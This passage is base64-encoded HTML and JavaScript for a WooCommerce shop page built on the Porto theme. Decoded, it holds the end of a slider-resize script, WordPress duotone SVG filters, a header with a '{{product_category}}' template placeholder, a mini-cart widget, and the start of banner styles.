ZpbmVkID8gMCA6IHBhcnNlSW50KGUudGFiaGlkZSk7DQogICAgICAgICAgICBlLnRodW1iaGlkZSA9IGUudGh1bWJoaWRlID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50aHVtYmhpZGUpOw0KICAgICAgICAgICAgZS5taCA9IGUubWggPT09IHVuZGVmaW5lZCB8fCBlLm1oID09ICIiIHx8IGUubWggPT09ICJhdXRvIiA/IDAgOiBwYXJzZUludChlLm1oLCAwKTsNCiAgICAgICAgICAgIGlmIChlLmxheW91dCA9PT0gImZ1bGxzY3JlZW4iIHx8IGUubCA9PT0gImZ1bGxzY3JlZW4iKQ0KICAgICAgICAgICAgICAgIG5ld2ggPSBNYXRoLm1heChlLm1oLCB3aW5kb3cuUlNJSCk7DQogICAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICAgICBlLmd3ID0gQXJyYXkuaXNBcnJheShlLmd3KSA/IGUuZ3cgOiBbZS5nd107DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBlLnJsKSBpZiAoZS5nd1tpXSA9PT0gdW5kZWZpbmVkIHx8IGUuZ3dbaV0gPT09IDApIGUuZ3dbaV0gPSBlLmd3W2kgLSAxXTsNCiAgICAgICAgICAgICAgICBlLmdoID0gZS5lbCA9PT0gdW5kZWZpbmVkIHx8IGUuZWwgPT09ICIiIHx8IChBcnJheS5pc0FycmF5KGUuZWwpICYmIGUuZWwubGVuZ3RoID09IDApID8gZS5naCA6IGUuZWw7DQogICAgICAgICAgICAgICAgZS5naCA9IEFycmF5LmlzQXJyYXkoZS5naCkgPyBlLmdoIDogW2UuZ2hdOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gZS5ybCkgaWYgKGUuZ2hbaV0gPT09IHVuZGVmaW5lZCB8fCBlLmdoW2ldID09PSAwKSBlLmdoW2ldID0gZS5naFtpIC0gMV07DQoNCiAgICAgICAgICAgICAgICB2YXIgbmwgPSBuZXcgQXJyYXkoZS5ybC5sZW5ndGgpLA0KICAgICAgICAgICAgICAgICAgICBpeCA9IDAsDQogICAgICAgICAgICAgICAgICAgIHNsOw0KICAgICAgICAgICAgICAgIGUudGFidyA9IGUudGFiaGlkZSA+PSBwdyA/IDAgOiBlLnRhYnc7DQogICAgICAgICAgICAgICAgZS50aHVtYncgPSBlLnRodW1iaGlkZSA+PSBwdyA/IDAgOiBlLnRodW1idzsNCiAgICAgICAgICAgICAgICBlLnRhYmggPSBlLnRhYmhpZGUgPj0gcHcgPyAwIDogZS50YWJoOw0KICAgICAgICAgICAgICAgIGUudGh1bWJoID0gZS50aHVtYmhpZGUgPj0gcHcgPyAwIDogZS50aHVtYmg7DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBlLnJsKSBubFtpXSA9IGUucmxbaV0gPCB3aW5kb3cuUlNJVyA/IDAgOiBlLnJsW2ldOw0KICAgICAgICAgICAgICAgIHNsID0gbmxbMF07DQogICAgICAgICAgICAgICAgZm9yICh2YXIgaSBpbiBubCkgaWYgKHNsID4gbmxbaV0gJiYgbmxbaV0gPiAwKSB7DQogICAgICAgICAgICAgICAgICAgIHNsID0gbmxbaV07DQogICAgICAgICAgICAgICAgICAgIGl4ID0gaTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgdmFyIG0gPSBwdyA+IChlLmd3W2l4XSArIGUudGFidyArIGUudGh1bWJ3KSA/IDEgOiAocHcgLSAoZS50YWJ3ICsgZS50aHVtYncpKSAvIChlLmd3W2l4XSk7DQogICAgICAgICAgICAgICAgbmV3aCA9IChlLmdoW2l4XSAqIG0pICsgKGUudGFiaCArIGUudGh1bWJoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHZhciBlbCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUuYyk7DQogICAgICAgICAgICBpZiAoZWwgIT09IG51bGwgJiYgZWwpIGVsLnN0eWxlLmhlaWdodCA9IG5ld2ggKyAicHgiOw0KICAgICAgICAgICAgZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlLmMgKyAiX3dyYXBwZXIiKTsNCiAgICAgICAgICAgIGlmIChlbCAhPT0gbnVsbCAmJiBlbCkgew0KICAgICAgICAgICAgICAgIGVsLnN0eWxlLmhlaWdodCA9IG5ld2ggKyAicHgiOw0KICAgICAgICAgICAgICAgIGVsLnN0eWxlLmRpc3BsYXkgPSAiYmxvY2siOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGNhdGNoIChlKSB7DQogICAgICAgICAgICBjb25zb2xlLmxvZygiRmFpbHVyZSBhdCBQcmVzaXplIG9mIFNsaWRlcjoiICsgZSkNCiAgICAgICAgfQ0KICAgICAgICAvL30pOw0KICAgIH07PC9zY3JpcHQ+DQo8L2hlYWQ+DQo8Ym9keSBjbGFzcz0iYXJjaGl2ZSBwb3N0LXR5cGUtYXJjaGl2ZSBwb3N0LXR5cGUtYXJjaGl2ZS1wcm9kdWN0IHdwLWVtYmVkLXJlc3BvbnNpdmUgdGhlbWUtcG9ydG8gd29vY29tbWVyY2Utc2hvcCB3b29jb21tZXJjZSB3b29jb21tZXJjZS1wYWdlIHdvb2NvbW1lcmNlLW5vLWpzIGxvZ2luLXBvcHVwIHdpZGUgYmxvZy0xIGJvZHktc2lkZSBlbGVtZW50b3ItZGVmYXVsdCBlbGVtZW50b3Ita2l0LTIxNTIiPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWRhcmstZ3JheXNjYWxlIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC40OTgwMzkyMTU2ODYyNyIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjQ5ODAzOTIxNTY4NjI3Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNDk4MDM5MjE1Njg2MjciLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWdyYXlzY2FsZSI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1wdXJwbGUteWVsbG93Ij4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNTQ5MDE5NjA3ODQzMTQgMC45ODgyMzUyOTQxMTc2NSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjcxNzY0NzA1ODgyMzUzIDAuMjU0OTAxOTYwNzg0MzEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLWJsdWUtcmVkIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjI3ODQzMTM3MjU0OTAyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjU5MjE1Njg2Mjc0NTEgMC4yNzg0MzEzNzI1NDkwMiIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtbWlkbmlnaHQiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNjQ3MDU4ODIzNTI5NDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtbWFnZW50YS15ZWxsb3ciPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC43ODAzOTIxNTY4NjI3NSAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuOTQ5MDE5NjA3ODQzMTQiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuMzUyOTQxMTc2NDcwNTkgMC40NzA1ODgyMzUyOTQxMiIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtcHVycGxlLWdyZWVuIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNjUwOTgwMzkyMTU2ODYgMC40MDM5MjE1Njg2Mjc0NSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjQ0NzA1ODgyMzUyOTQxIDAuNCIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtYmx1ZS1vcmFuZ2UiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC4wOTgwMzkyMTU2ODYyNzUgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjY2Mjc0NTA5ODAzOTIyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjg0NzA1ODgyMzUyOTQxIDAuNDE5NjA3ODQzMTM3MjUiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPGRpdiBjbGFzcz0icGFnZS13cmFwcGVyIHNpZGUtbmF2Ij48IS0tIHBhZ2Ugd3JhcHBlciAtLT4NCg0KICAgIDwhLS0gaGVhZGVyIHdyYXBwZXIgLS0+DQogICAgPGRpdiBjbGFzcz0iaGVhZGVyLXdyYXBwZXIgaGVhZGVyLXNpZGUtbmF2IHNpZGUtbmF2LXdyYXAiPg0KICAgICAgICA8aGVhZGVyIGlkPSJoZWFkZXIiIGNsYXNzPSJoZWFkZXItc2lkZSBzdGlja3ktbWVudS1oZWFkZXIiIGRhdGEtcGx1Z2luLXN0aWNreQ0KICAgICAgICAgICAgICAgIGRhdGEtcGx1Z2luLW9wdGlvbnM9InsmcXVvdDthdXRvSW5pdCZxdW90OzogdHJ1ZSwgJnF1b3Q7bWluV2lkdGgmcXVvdDs6IDk5MiwgJnF1b3Q7Y29udGFpbmVyU2VsZWN0b3ImcXVvdDs6ICZxdW90Oy5wYWdlLXdyYXBwZXImcXVvdDssJnF1b3Q7YXV0b0ZpdCZxdW90Ozp0cnVlLCAmcXVvdDtwYWRkaW5nT2Zmc2V0Qm90dG9tJnF1b3Q7OiAwLCAmcXVvdDtwYWRkaW5nT2Zmc2V0VG9wJnF1b3Q7OiAwfSI+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkZXItbWFpbiBzaG93LW1pbmljYXJ0Ij4NCg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciI+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGVyLWNlbnRlciI+DQogICAgICAgICAgICAgICAgICAgICAgICA8dWwgaWQ9Im1lbnUtbWFpbi1tZW51IiBjbGFzcz0ic2lkZWJhci1tZW51Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7e3Byb2R1Y3RfY2F0ZWdvcnl9fQ0KICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJtb2JpbGUtdG9nZ2xlIiBhcmlhLWxhYmVsPSJNb2JpbGUgTWVudSIgaHJlZj0iIyI+PGkgY2xhc3M9ImZhcyBmYS1iYXJzIj48L2k+PC9hPg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJkLXhsLW5vbmUgZC1sZy1ub25lIGlubGluZS1ibG9jayI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBpZD0ibWluaS1jYXJ0IiBjbGFzcz0ibWluaS1jYXJ0IHNpbXBsZSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtaGVhZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0iY2FydC1pY29uIj48aSBjbGFzcz0ibWluaWNhcnQtaWNvbiBwb3J0by1pY29uLXNob3BwaW5nLWNhcnQiPjwvaT48c3Bhbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iY2FydC1pdGVtcyI+MDwvc3Bhbj48L3NwYW4+PHNwYW4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbGFzcz0iY2FydC1pdGVtcy10ZXh0Ij4wIGl0ZW1zPC9zcGFuPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjYXJ0LXBvcHVwIHdpZGdldF9zaG9wcGluZ19jYXJ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9IndpZGdldF9zaG9wcGluZ19jYXJ0X2NvbnRlbnQiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcnQtbG9hZGluZyI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICA8L2hlYWRlcj4NCg0KICAgIDwvZGl2Pg0KICAgIDwhLS0gZW5kIGhlYWRlciB3cmFwcGVyIC0tPg0KDQogICAgPGRpdiBjbGFzcz0iY29udGVudC13cmFwcGVyIj4NCg0KICAgICAgICA8ZGl2IGNsYXNzPSJiYW5uZXItY29udGFpbmVyIG15LWJhbm5lciI+DQogICAgICAgICAgICA8ZGl2IGlkPSJiYW5uZXItd3JhcHBlciIgY2xhc3M9IiI+DQogICAgICAgICAgICAgICAgPHN0eWxlPi5lbGVtZW50b3ItNTIyIC5lbGVtZW50b3ItZWxlbWVudC5lbGVtZW50b3ItZWxlbWVudC0wNzQ5YjYwID4gLnBvcnRvLWliYW5uZXIgew0KICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjRjRGNEY0Ow0KICAgICAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAuZWxlbWVudG9yLTUyMiAuZWxlbWVudG9yLWVsZW1lbnQuZWxlbWVudG9yLWVsZW1lbnQtMDc0OWI2MCB7DQogICAgICAgICAgICAgICAgICAgIG1hcmdpb